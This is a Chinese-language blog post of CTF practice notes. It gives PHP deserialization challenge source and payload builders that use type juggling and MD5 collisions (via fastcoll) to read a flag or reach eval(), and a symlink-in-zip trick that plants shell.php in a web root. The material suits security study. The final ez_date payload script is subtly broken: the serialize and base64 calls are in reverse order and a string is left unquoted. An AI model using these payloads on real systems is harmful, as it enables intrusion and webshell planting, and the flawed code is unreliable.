一次刷题小记
[CISCN 2023 华北]ez_date1
题目源码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
要满足强不等于那么让a=1,b="1",这样a和b的类型不同,后面的md5和sha1需要字符串类型的就会把a转换为串类型,运算后就完全一样了。php类型是怎么转换的可以具体去查阅官方文档。
这里我再说一个自己想改编题目的小插曲。本来那个if判断那我想拿出来作为我拼好题的一个考点,然后使用$_GET来接受参数传给$a和$b,但是其实$_GET也是期望接受字符串类型的值。所以我们url/?a=1&b="1"实质上a和b都转变成了字符串类型,就不会满足这个if条件。而这道题是用了序列化来传递参数就不会被a好b的类型就不会被php转换
$a = $_GET['b'];
$b = $_GET['a'];
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
对于下面date函数,更简单了。查阅一下date的使用文档。

我们在vscode上实验一下

由于会识别格式化字符串,所以才会输出成这样。那我们就给他转义为/f\l\a\g。所以最终构造如下:
class date{
public $a;
public $b;
public $file;
}
$code = new date();
$code -> a=1;
$code -> b='1';
$code -> file=/f\l\a\g;
echo serialize(base64_encode($code));
顺带拓展一下,如果是弱等于,而且只比较md5。那就用fastcoll这款工具去生成。
<?php
show_source(__FILE__);
class CDUTSEC
{
public $var1;
public $var2;
function __construct($var1, $var2)
{
$var1 = $var1;
$var2 = $var2;
}
function __destruct()
{
echo md5($this->var1);
echo md5($this->var2);
if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
eval($this->var1);
}
}
}
unserialize($_GET['payload']);
具体用法fastcoll -p shell.txt -o shella.txt shellb.txt
工具会生成值不同但md5相同的两个文件,最终构造如下:
<?php
class CDUTSEC{
public $var1;
public $var2;
}
$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Lenovo\Desktop\shella.txt');
$tr->var2 = file_get_contents('C:\Users\Lenovo\Desktop\shellb.txt');
echo urlencode(serialize($tr));
CTFSHOW国赛复现-----Unzip(软连接利用)
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
//这里是验证MIME值,确定上传的文件类型为zip,同时也为我们指明了方向,要上传一个zip压缩包。
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
//这里的意思是进入/tmp目录下,然后调用unzip命令对压缩包进行解压,也就是把压缩包解压到/tmp目录下。
};
题目解压到了/tmp目录下,按不是网站根目录/var/www/html命令是无法执行的
然后利用软链接这个知识点
ln -s /var/www/html link
zip --symlinks link.zip link
先把软连接上传上去,再创建一个link文件夹,里边放一个shell.php
zip -r link1.zip link
这时候传上去,因为解压后的目录同名所以会覆盖原指定目录,触发软链接。
这样就会把shell解压到网站根目录下了
持续更新中...

浙公网安备 33010602011771号